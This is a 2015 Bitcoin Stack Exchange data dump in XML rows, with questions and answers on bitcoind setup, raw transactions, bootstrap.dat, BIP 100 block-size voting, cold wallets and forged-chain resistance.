  <row Id="37921" PostTypeId="1" CreationDate="2015-06-11T22:27:04.460" Score="3" ViewCount="527" Body="&lt;p&gt;I have read this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/29969/logical-flow-to-check-for-receipt-of-a-bitcoin-payment&quot;&gt;question&lt;/a&gt; and done some investigation, and I want to make sure I have some of this right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have a server somewhere where I can install bit coin (I'm thinking bitcoin-qt on Ubuntu) then I can run &lt;em&gt;bitcoind&lt;/em&gt; on that computer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could setup a http server to accept requests for a new bitcoin address from bitcoind and return one to my other web app (hosted on Google App Engine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then as I understand it, if I setup walletnotify, it will automatically call my scripts to process payments that are received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking I might be able to get away with putting this in a friend's living room, though I'm not entirely sure I will have a static IP address, but maybe I can work that out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize there are 3rd party solutions for this, and this is a broad question with many ins and outs, and I should be more knowledgeable of Bitcoin and hosting my own servers (as the PaaS solutions don't seem to let you run &lt;em&gt;bitcoind&lt;/em&gt;), but do I have that mostly right or is there is something amiss with this endeavor.&lt;/p&gt;&#xA;" OwnerUserId="26864" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-06-11T22:27:04.460" Title="The setup steps for generating bitcoin addresses programmatically and checking for payments with walletnotify" Tags="|bitcoind|hosting|wallet-notify|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37923" PostTypeId="1" AcceptedAnswerId="38144" CreationDate="2015-06-12T03:10:17.033" Score="-4" ViewCount="125" Body="&lt;p&gt;or there is security from that?&lt;/p&gt;&#xA;" OwnerUserId="26862" LastEditorUserId="26862" LastEditDate="2015-06-21T13:53:57.510" LastActivityDate="2015-06-21T13:53:57.510" Title="transactions traffic jam possible?" Tags="|transactions|weaknesses|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37924" PostTypeId="1" CreationDate="2015-06-12T04:59:04.060" Score="2" ViewCount="456" Body="&lt;p&gt;I've been playing with the &lt;code&gt;createrawtransaction&lt;/code&gt;, &lt;code&gt;signrawtransaction&lt;/code&gt;, and &lt;code&gt;sendrawtransaction&lt;/code&gt; Bitcoin calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say there are two accounts in my Wallet: Account1 and the default &lt;code&gt;&quot;&quot;&lt;/code&gt; account. Let's also say account balances are &lt;code&gt;&quot;&quot; = 0.00000000&lt;/code&gt; and &lt;code&gt;Account1 = 0.50000000&lt;/code&gt; and that the only UTXO in my Wallet references a Bitcoin address owned by Account1 as the output address and is in the amount of &lt;code&gt;0.50000000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create, sign, and send the transaction to another Wallet, the account balances appear as &lt;code&gt;&quot;&quot; = -0.50000000&lt;/code&gt; and &lt;code&gt;Account1 = 0.50000000&lt;/code&gt;, and the balance of my Wallet equals the obvious &lt;code&gt;0.00000000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way, when creating/signing/sending a transaction, that I can specify which account to send it from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm familiar with the &lt;code&gt;sendfromaccount&lt;/code&gt; call that would accomplish this, but I want to create my transactions manually so I can control the change (when necessary) and the transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="26812" LastActivityDate="2015-06-12T13:29:59.507" Title="create/sign/send raw transaction from specific Wallet account" Tags="|bitcoind|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37925" PostTypeId="1" CreationDate="2015-06-12T07:04:05.157" Score="1" ViewCount="443" Body="&lt;p&gt;I am using magento extension of coinbase bitcoin for my sandbox account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But whenever I am trying to place an order on my store I am getting following error :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error:  Uncaught exception 'Coinbase_ApiException' with message 'Status code 401' .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help me to resolve this.&lt;/p&gt;&#xA;" OwnerUserId="26868" LastActivityDate="2015-06-12T09:55:37.270" Title="Uncaught exception 'Coinbase_ApiException' with message 'Status code 401'" Tags="|client|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37926" PostTypeId="2" ParentId="37924" CreationDate="2015-06-12T08:17:11.790" Score="1" Body="&lt;p&gt;This is not possible and you should also mind, that the accounting system in bitcoin-core has been marked for deprecation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rawtx commands to not cooperate with accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, you should avoid accounts.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-12T08:17:11.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37927" PostTypeId="1" AcceptedAnswerId="37933" CreationDate="2015-06-12T09:37:44.883" Score="17" ViewCount="28645" Body="&lt;p&gt;I could download a &lt;code&gt;bootstrap.dat.torrent&lt;/code&gt; from  &lt;a href=&quot;https://bitcoin.org/bin/blockchain/bootstrap.dat.torrent&quot;&gt;bitcoin.org&lt;/a&gt; before, but it is no longer available. Does bitcoin.org still maintain it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another source for downloading a &lt;code&gt;bootstrap.dat&lt;/code&gt;? I am stuck with a 0.9.x version of BitcoinCore for testing purposes, and the &lt;code&gt;bootstrap.dat&lt;/code&gt; would improve synchronization for me.&lt;/p&gt;&#xA;" OwnerUserId="18406" LastEditorUserId="5406" LastEditDate="2015-06-12T13:56:01.717" LastActivityDate="2017-10-10T16:53:10.167" Title="What happened to the bootstrap.dat provided by bitcoin.org?" Tags="|bootstrap.dat|bitcoin.org|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37928" PostTypeId="2" ParentId="37927" CreationDate="2015-06-12T09:53:35.843" Score="2" Body="&lt;p&gt;It's not necessary so is not being updated anymore. Using a bootstrap torrent is slower than downloading from the network using Bitcoin Core 0.10.0 or above due to improvements in the block downloading method. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-11-13T06:47:55.403" LastActivityDate="2015-11-13T06:47:55.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37929" PostTypeId="2" ParentId="37925" CreationDate="2015-06-12T09:55:37.270" Score="1" Body="&lt;p&gt;HTTP status 401 is &quot;Unauthorized&quot;, you likely have your credentials or keys configured incorrectly. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-12T09:55:37.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37930" PostTypeId="1" AcceptedAnswerId="37940" CreationDate="2015-06-12T10:06:17.273" Score="2" ViewCount="172" Body="&lt;p&gt;&lt;br/&gt;&#xA;Motivated to watch data exchange on Bitcoin Newtwork, especially on regtest, and with hints from David Harding I decided to analyse traffic on regtest with Wireshark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed and setup (I've got a list of interfaces) Wireshark and start capturing from all interfaces available and immediately run one regtest node with following connection specification:&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;Bound to [::]:11111&#xA;Bound to 0.0.0.0:11111&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put a &lt;code&gt;tcp.port==18444&lt;/code&gt; filter &lt;a href=&quot;https://www.samkear.com/networking/analyzing-bitcoin-network-traffic-wireshark&quot; rel=&quot;nofollow&quot;&gt;(in the style of this description)&lt;/a&gt; and apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem: There's no traffic shown!&lt;br/&gt;&#xA;&lt;strong&gt;Question: What am I doing wrong and what interface should I capture from?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="47827" LastEditDate="2021-01-24T15:12:21.133" LastActivityDate="2021-01-24T15:12:21.133" Title="What's happening in regtest mode? - Wireshark analysis" Tags="|regtest|p2p|network|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37931" PostTypeId="2" ParentId="37923" CreationDate="2015-06-12T10:57:19.283" Score="0" Body="&lt;p&gt;This site is intended to be one question per post and your questions don't really make sense. But maybe if I answer your first question you can use that knowledge to improve your further questions and ask those separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocks do NOT have empty space. 60% full means the size is 60% of the limit, but of course only that 60% is sent over the network and stored. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the limit gets raised to 20MB it does NOT mean all blocks will be 20MB. The size will still be exactly the same as before until demand starts growing and there are actually more transactions to be put into those blocks.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-06-12T10:57:19.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37932" PostTypeId="1" AcceptedAnswerId="37934" CreationDate="2015-06-12T10:58:19.907" Score="2" ViewCount="66" Body="&lt;p&gt;I am writing a short, basic article about Electrum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am quite new to bitcoins, and was hoping I could get somebody to have a look at it, to check that I didn't write anything totally stupid (which is likely).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The article is meant to be a very basic guide on how to use Electrum, keeping everything very basic and simple. I want to give just enough hints in terms of theory, without getting too deep into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where could I post it, in order to get it reviewed?&lt;/p&gt;&#xA;" OwnerUserId="26870" LastEditorUserId="5406" LastEditDate="2015-06-12T21:52:28.460" LastActivityDate="2015-06-12T21:53:47.113" Title="Where could I post an article about Electrum to get it reviewed?" Tags="|electrum|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37933" PostTypeId="2" ParentId="37927" CreationDate="2015-06-12T11:57:23.000" Score="17" Body="&lt;p&gt;As user &lt;a href=&quot;https://bitcoin.stackexchange.com/users/24925/bitcoin&quot;&gt;Bitcoin&lt;/a&gt; has already pointed out, using a bootstrap.dat is no longer recommended—you can see the release notes for the new &lt;a href=&quot;https://bitcoin.org/en/release/v0.10.0#faster-synchronization&quot; rel=&quot;noreferrer&quot;&gt;faster-synchronization feature here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, the bootstrap.dat torrent links were removed from bitcoin.org after a &lt;a href=&quot;https://github.com/bitcoin/bitcoin.org/issues/846&quot; rel=&quot;noreferrer&quot;&gt;short discussion&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bootstrap.dat file is still &lt;a href=&quot;https://bitcointalk.org/index.php?topic=145386.0&quot; rel=&quot;noreferrer&quot;&gt;available here&lt;/a&gt; on the bitcointalk.org forum, and jgarzik has indicated that he will continue to occasionally &lt;a href=&quot;https://bitcointalk.org/index.php?topic=145386.msg11235170#msg11235170&quot; rel=&quot;noreferrer&quot;&gt;update it&lt;/a&gt; &quot;for academic research and development purposes.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative is the version which has been maintained by &lt;a href=&quot;https://bitcoinarmory.com/about-bitcoin-security/&quot; rel=&quot;noreferrer&quot;&gt;Armory&lt;/a&gt; Technologies, &lt;a href=&quot;https://s3.amazonaws.com/bitcoinarmory-media/bootstrap.dat.torrent&quot; rel=&quot;noreferrer&quot;&gt;available here&lt;/a&gt;. At the time of this writing, it is more up-to-date than jgarzik's bootstrap.dat, however it's not clear if it will receive any future updates.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-06-12T11:57:23.000" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="37934" PostTypeId="2" ParentId="37932" CreationDate="2015-06-12T12:58:06.933" Score="3" Body="&lt;p&gt;I would try posting it to &lt;a href=&quot;http://www.reddit.com/r/electrum&quot; rel=&quot;nofollow&quot;&gt;/r/electrum&lt;/a&gt;, &lt;a href=&quot;http://reddit.com/r/bitcoin&quot; rel=&quot;nofollow&quot;&gt;/r/bitcoin&lt;/a&gt;, or &lt;a href=&quot;https://bitcointalk.org/index.php?board=98.0&quot; rel=&quot;nofollow&quot;&gt;the Electrum section of BitcoinTalk&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-12T21:53:47.113" LastActivityDate="2015-06-12T21:53:47.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37936" PostTypeId="1" CreationDate="2015-06-12T13:24:07.637" Score="1" ViewCount="243" Body="&lt;p&gt;I am new to to Bitcoin and was allocated a project to develop a (middle-man)service that can allow a person (using a mobile phone with no Internet connection) to use Bitcoin. Since Bitcoin Core is the software that enables a person to use the currency, does this mean my developed software should find a way to communicate with the Bitcoin core software installed on my desktop computer? Or are there any other applications that should be installed?&lt;/p&gt;&#xA;" OwnerUserId="26872" LastEditorDisplayName="user11221" LastEditDate="2015-06-12T13:32:00.083" LastActivityDate="2022-10-06T02:11:31.493" Title="Accessing Bitcoin core software through a mobile phone with no internet connection" Tags="|bitcoin-core-development|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="37937" PostTypeId="2" ParentId="37936" CreationDate="2015-06-12T15:30:03.693" Score="1" Body="&lt;p&gt;Here are some considerations and recommendations. I hope that someone can provide a more complete answer than this one, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, creating new wallet software and getting it right is deceptively difficult, even if you're starting off with a nice library such as Bitcoinj. Unless you feel extremely comfortable with Bitcoin in general, I'd recommend that you use (to the extent possible) an existing full wallet implementation with a good reputation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the server side, you'll probably want wallet software you can easily interface with, either by directly calling its library functions, or via an RPC interface. Here are three such options you may want to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Core&lt;/a&gt; (&lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&quot; rel=&quot;nofollow&quot;&gt;RPC access&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt; (RPC and Python library access)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; (RPC and Python library access)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Take a look at the bitcoin.org &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;choose-your-wallet page&lt;/a&gt; for a rough comparison. Please also note that the latter two are &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;deterministic wallets&lt;/a&gt;; unfortunately there's less (no?) API documentation available for these two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also take note that Armory has a rather &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1036738.msg11184178#msg11184178&quot; rel=&quot;nofollow&quot;&gt;broad interpretation&lt;/a&gt; of its AGPLv3 license—if you have a company General Counsel, I'd definitely ask them to consider this before proceeding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the server side, you'll need to develop your own accounting database to track individual account balances (do &lt;em&gt;not&lt;/em&gt; use the Bitcoin Core deprecated &quot;accounts&quot; feature). Read up on &lt;a href=&quot;https://en.bitcoin.it/wiki/Cold_storage&quot; rel=&quot;nofollow&quot;&gt;cold storage&lt;/a&gt; if you don't have enough insurance to cover the loss of all of your bitcoin, and split your bitcoin between hot (on-server) and cold (off-server) wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't offer much other insight than the above, except perhaps to guess that client-server authentication issues are likely to be your biggest potential for bitcoin loss. If you're not an expert in client-server security, or for that matter in security issues related to your chosen mobile platform(s), you should consider consulting with someone who is.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-06-12T15:42:05.867" LastActivityDate="2015-06-12T15:42:05.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37940" PostTypeId="2" ParentId="37930" CreationDate="2015-06-12T19:06:58.593" Score="2" Body="&lt;p&gt;The regtest mode is basically for running a node in a test network where all peers have to be added manually and it is extremely easy to solve blocks. As such, there won't be any network traffic unless you start multiple nodes and connect them using the &lt;code&gt;addnode&lt;/code&gt; RPC command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, maybe you meant to run this in &lt;code&gt;-testnet&lt;/code&gt; mode instead of &lt;code&gt;-regtest&lt;/code&gt; mode?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-06-12T19:06:58.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37941" PostTypeId="2" ParentId="29760" CreationDate="2015-06-12T19:30:11.247" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does hardware specialization provide security against 51% attack via on-demand computing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends on what hardware the on-demand computing is offering. Hardware specialization might make a cryptocurrency less vulnerable to attack from inefficient on-demand hardware, like a botnet. But as hardware becomes more specialized, the on-demand hardware leasors tends to upgrade their hardware to stay competitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that the effectiveness of one's mining is relative to the total hash power of the network. If everyone on the network doubles their hashing power, everyone will continue earning the same # of coins after the difficulty adjusts.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-06-12T20:38:34.833" LastActivityDate="2015-06-12T20:38:34.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37943" PostTypeId="1" AcceptedAnswerId="37945" CreationDate="2015-06-12T22:06:17.843" Score="3" ViewCount="969" Body="&lt;p&gt;I understand that, with BIP 100 as suggested by Jeff Garzik, in the first step the maximum block size can be increased from (then, after the hard fork) 2 MByte to at most double of that, so 4 MByte - without a hard fork. Depending on the miner's votes (counted for 12.000 blocks, 75% majority necessary) the block size may be increased further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I, as a user start the voting process? What if I'm a miner? How do I determine the new maximum block size? Can two votes for 3 MByte and 4 MByte run in parallel?&lt;/p&gt;&#xA;" OwnerUserId="7214" LastEditorUserId="2306" LastEditDate="2015-12-21T00:00:54.550" LastActivityDate="2015-12-21T00:00:54.550" Title="BIP 100: What votes are possible?" Tags="|block-size-increase|bip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37945" PostTypeId="2" ParentId="37943" CreationDate="2015-06-12T22:57:42.267" Score="2" Body="&lt;p&gt;Gregory Maxwell in IRC:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the scheme would have the pariticiants specify the size they want, and&#xA;  at the end the period the smallest 25% would be tossed and the&#xA;  smallest remaining would be used.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So in each block there would be a field, initially set to 2 MByte. A miner is free to set any value (up to 2x the current limit).&#xA;Assuming we have the following values set in the last 12,000 blocks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;20% 2 MByte&lt;/li&gt;&#xA;&lt;li&gt;20% 3 MByte&lt;/li&gt;&#xA;&lt;li&gt;60% 4 MByte&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then, because only 60% want 4 MByte but 80% agree to have 3 MByte, the limit is increased to 3 MByte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There would be a new vote every 12,000 blocks, and a decrease also would be possible if that is what the miners want.&lt;/p&gt;&#xA;" OwnerUserId="7214" LastActivityDate="2015-06-12T22:57:42.267" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37946" PostTypeId="1" CreationDate="2015-06-13T01:22:49.130" Score="1" ViewCount="178" Body="&lt;p&gt;Is there a bitcoin wallet that works on Amazon Fire Phone?&#xA;I can't find any.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="26877" LastActivityDate="2015-06-13T01:22:49.130" Title="Is there a bitcoin wallet that works on Amazon Fire Phone?" Tags="|wallet|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37947" PostTypeId="1" AcceptedAnswerId="37993" CreationDate="2015-06-13T01:33:40.887" Score="0" ViewCount="290" Body="&lt;p&gt;Is there any API where I can create some addresses and making a transaction beetween them just once a month without paying fees?&lt;br /&gt;&#xA;Or if you can recommend me somewhere with a fee under 5000 satoshis it would be great.&lt;/p&gt;&#xA;" OwnerUserId="26876" LastEditorUserId="112808" LastEditDate="2020-12-21T21:26:14.783" LastActivityDate="2020-12-21T21:26:14.783" Title="How to pay no fees?" Tags="|transactions|api|transaction-fees|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="37948" PostTypeId="2" ParentId="37825" CreationDate="2015-06-13T05:01:00.913" Score="1" Body="&lt;pre&gt;&lt;code&gt;docker exec -it toshi_db_1 psql -U postgres -d toshi_development&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Got the answer on a github issue &lt;a href=&quot;https://github.com/coinbase/toshi/issues/198&quot; rel=&quot;nofollow&quot;&gt;https://github.com/coinbase/toshi/issues/198&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2015-06-13T05:01:00.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37950" PostTypeId="1" CreationDate="2015-06-13T07:12:32.047" Score="0" ViewCount="526" Body="&lt;p&gt;I had a thought..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that block mining rewards halve every 4 years and eventually disappear, miners' incentives to continue mining will be transaction fees. The standard &quot;priority&quot; transaction fee (as far as the Android wallet is concerned) is 0.0001 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that as of now some transactions are mined for free, but to my understanding, transactions that are mined for free have to be at least 0.01 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought is that in the future, transaction fees are likely to rise to a higher rate (let's say 0.001 BTC) and will be required for every transaction. If you don't have at least 0.001 BTC, you basically won't be able to send any BTC to another address, which would seem to render the remaining 5 decimal places useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="26879" LastActivityDate="2015-07-14T10:15:11.503" Title="Will 8 decimal places really be feasible in the future?" Tags="|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37952" PostTypeId="1" CreationDate="2015-06-13T13:48:35.597" Score="1" ViewCount="4972" Body="&lt;p&gt;I have generated a Cold Wallet using &lt;code&gt;bitaddress.org&lt;/code&gt; (pub + priv key)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I send / receive Bitcoins from / to the generated addresses?&lt;br&gt;&#xA;Is there something I should mind about?&lt;br&gt;&#xA;Receiving seems to be easy: Just send Bitcoins to the generated Bitcoin Address, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no problem to use the commandline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this (send / receive) without needing to use my private key on a computer connected to the internet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping&lt;/p&gt;&#xA;" OwnerUserId="26884" LastActivityDate="2016-03-11T23:24:51.683" Title="How to send/receive Bitcoins from cold wallet?" Tags="|wallet|offline|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37953" PostTypeId="1" CreationDate="2015-06-13T14:38:49.293" Score="1" ViewCount="109" Body="&lt;p&gt;Is there any function in &lt;code&gt;bitcoind&lt;/code&gt; which when given the transaction(&lt;code&gt;CTransaction&amp;amp; tx&lt;/code&gt;)/ transaction hash, returns its block number ?&lt;/p&gt;&#xA;" OwnerUserId="19374" LastActivityDate="2015-06-13T14:38:49.293" Title="How to obtain Block number of transaction?" Tags="|bitcoind|bitcoin-core-development|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37956" PostTypeId="1" AcceptedAnswerId="37960" CreationDate="2015-06-13T17:31:55.300" Score="1" ViewCount="286" Body="&lt;p&gt;I'm implementing a new protocol with a custom blockchain, and I'm trying to figure out what is the correct way to deal with the &lt;em&gt;&quot;slow chain&quot;&lt;/em&gt; problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Bitcoin protocol, nodes constantly gossip the newest block and try to produce a block after it. However, it sometimes happens that concurrent branches emerge, and from time to time nodes have to perform a rollback, 2 or 3 blocks into the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we know, block difficulty depends on the time differences between blocks. A malicious entity can easily forge a chain of arbitrarily many blocks by simply starting from the genesis block and producing blocks with consecutive timestamps differing by more than 10 minutes. This way the difficulty would never increase, and the chain can be produced cheaply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, as a result of this approach, timestamps in the forged chain would increase much faster than in the real chain. This would cause the forged chain to be discarded by nodes, as legal blocks must have timestamps less than or equal to current timestamp (plus/minus some tolerance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice controls a bitcoin node, and has 500,000 blocks in storage. Bob advertises that he has 600,000 blocks, but the last common ancestor has number 1000. Bob's chain is a forged &lt;em&gt;slow chain&lt;/em&gt;, but Alice does not know it. Alice wants to download Bob's blocks and check if these are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUESTION&lt;/strong&gt;: How can Alice detect that Bob's chain is invalid before actually storing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Approach 1:&lt;/strong&gt; &lt;strong&gt;A&lt;/strong&gt; downloads all blocks after the last common ancestor with &lt;strong&gt;B&lt;/strong&gt;, checks if everything is correct, and if all seems to be ok, reverts storage state by undoing block changes till reaching common ancestor, and then applying newly received blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our case, Alice would start downloading 599,000 blocks and eventually find out that the timestamp is too big. She would need to store the tentative chain in memory (possibly expensive) and check all the conditions. She would waste a lot of time, and every troll can trick her to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Approach 2:&lt;/strong&gt; &lt;strong&gt;A&lt;/strong&gt; reverts the storage to the a common ancestor advertised by &lt;strong&gt;B&lt;/strong&gt;, then tries to apply the blocks received from &lt;strong&gt;B&lt;/strong&gt; as they come.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our case, Alice reverts her storage back to block 1000, applies operations received from Bob, eventually discards a block with illegal timestamp, reverts back to common ancestor, and aplies the blocks she had before communicating with Bob. Again, time and resources wasted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Approach 3:&lt;/strong&gt; &lt;strong&gt;A&lt;/strong&gt; can only revert a fixed, small number of blocks in the past. This way, &lt;strong&gt;B&lt;/strong&gt; can do minimal damage, and forging a slow chain is very costly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in the case of a long-term network partition (split brain), the network parts would diverge and never achieve consensus on which chain is the longest. This situation would require manually removing records from storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Approach 4:&lt;/strong&gt; &lt;strong&gt;A&lt;/strong&gt; stores all the blocks ever observed, (including abandoned branches), and dynamically keeps track of which branch is the longest. This approach, while safe, requires a lot of storage space and is tricky to implement efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm leaning towards the third approach, but I'm wondering how is this being solved in various bitcoin clients. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen that the core client stores only the longest chain and skips the orphaned blocks. The details of leveldb-based storage are described here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28168/what-are-the-keys-used-in-the-blockchain-leveldb-ie-what-are-the-keyvalue-pair&quot;&gt;What are the keys used in the blockchain levelDB (ie what are the key:value pairs)?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for your help.&lt;/p&gt;&#xA;" OwnerUserId="26886" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2021-01-25T04:24:52.150" Title="Bitcoin resistance against forged slow chain" Tags="|blockchain|forging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
